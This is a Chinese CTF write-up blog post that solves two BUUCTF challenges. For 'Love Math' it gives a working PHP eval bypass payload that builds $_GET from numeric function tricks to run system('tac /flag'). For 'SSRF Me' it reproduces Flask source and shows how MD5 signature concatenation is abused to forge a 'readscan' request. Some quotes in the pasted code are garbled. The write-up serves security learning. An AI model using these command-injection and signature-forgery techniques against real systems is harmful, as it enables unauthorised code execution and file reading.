BUUCTF(5)

[CISCN 2019 初赛]Love Math 1

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

这里是利用了php的一个特性,把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行

$a='system';
$a('ls');

这里要求长度<80,不允许黑名单的符号,还必须有白名单的字符串,思路就是将函数名转为10进制,再通过白名单内的函数转回函数名,执行相应代码,主要就是用到base_convert、dechex因为对长度有要求,这里尝试构造出$_GET[]再传入命令,,先给出最终payload

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){a}(($$pi){b})&a=system&b=tac /flag
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
hex2bin("5f474554") => "_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){a}(($$pi){abs}) => ($_GET){pi}($_GET){b}  //{}可以代替[]

[De1CTF 2019]SSRF Me 1

打开题目看到flask的字样,对python代码进行整理得到

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding(‘latin1‘)

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result[‘code‘] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, ‘w‘)
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result[‘data‘] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                result[‘code‘] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, ‘r‘)
                result[‘code‘] = 200
                result[‘data‘] = f.read()
            if result[‘code‘] == 500:
                result[‘data‘] = "Action Error"
        else:
            result[‘code‘] = 500
            result[‘msg‘] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=[‘GET‘, ‘POST‘])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route(/De1ta‘,methods=[‘GET‘,‘POST‘])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route(/)
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == ‘__main__‘:
    app.debug = False
    app.run(host=0.0.0.0,port=80)

首先发现了/De1ta/geneSign页面,并且发现

def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

这里是获取我们输入的三个参数,其中两个是从cookie中获取的,然后对param进行了waf过滤,waf函数是找到以gopher或者file开头的,在这里是过滤了这两个协议,使我们不能通过协议读取文件。

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

然后用我们传进去的参数构造一个Task类对象,此时会执行它的Exec方法,在此方法中首先是self.checkSign()检查登录,跟进self.checkSign()

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

当我们传入的参数action和param经过getSign这个函数之后与sign相等,就返回true,先跟进getSign

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

这里secert_key我们不知道,先返回exec继续往下看

if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, ‘w‘)
                resp = scan(self.param)
if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, ‘r‘)
                result[‘code‘] = 200
                result[‘data‘] = f.read()                

很明显如果scan、read in action中,前面会将param对应文件的内容写入result.txt,后面是把result.txt取出来并返回来,既然要满足这个条件,action就必须是readscan,或者scanread,跟进scan

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

整体来看到这一步唯一不知道的就是secert_key的值,也就无法使self.checkSign()为真,这里我们要知道secert_key+param+action其实是拼接的,就等同于secert_keyparamaction,如果我们输入key+flag.txt+scan也就等于keyflag.txtscan,因为key是写死的,这里我们访问/geneSign页面,并传入参数param=flag.txt得到一串MD5值:93d64b4b7a8301de8b52edd00913a455

在这里插入图片描述

我们发现这里的action默认为scan,如果我们在param字段输入flag.txtread那我们就能得到keyflag.txtreadscan,所以传参param=flag.txtread得到的MD5值就是我们最终需要的
在这里插入图片描述

?param=flag.txt 
Cookie: -------;action=readscan;sign=68aecf2a06ce6b747fa78b374d2607f3

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值